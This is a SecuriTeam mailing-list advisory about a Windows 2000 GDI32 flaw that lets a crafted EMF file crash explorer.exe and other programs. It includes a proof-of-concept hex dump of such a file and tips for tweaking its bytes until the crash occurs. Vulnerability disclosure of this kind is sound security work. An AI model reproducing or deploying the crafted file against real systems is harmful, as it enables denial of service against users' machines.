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SUMMARY

A program that uses the Windows 2000 GDI32.DLL
GetEnhMetaFilePaletteEntries() API function can be caused to crash when it
will try to handle a specially crafted EMF files.

DETAILS

Vulnerable Systems:
 * Microsoft Windows 2000

Impact:
The specific impact depends on the application using the API. Generally,
if there is a non−zero value in EMRHEAD−>nPalEntries, the application will
call this API, and pass EMRHEAD−>nPalEntries to the second parameter, a
specially crafted EMF will crash
the Application if the address it accesses to is not valid.

The explorer.exe or a DLL called by explorer always uses 0x100 as the
second parameter, and even if there is a zero value in
EMRHEAD−>nPalEntries, if the "end" value in the end of EMF file is bigger
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than some value (0x14 may be enough), it will also call this API to get
the Palette entries.

When you open the explorer.exe to open the folder which has a crafted EMF
file, if you click on the file in explorer's right client area, just
click, the explorer.exe will display the EMF file in its left client area
which will crash itself.

Proof of Concept:
A hex dumped EMF file:
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−

If it doesn't crash your explorer.exe, change the last 8 byte's values and
try again. Also changing some valid EMF files in Windows 2000 can do the
trick.

ADDITIONAL INFORMATION

The information has been provided by <mailto:felix__zhou@hotmail.com>
Hongzhen Zhou.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com
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DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.
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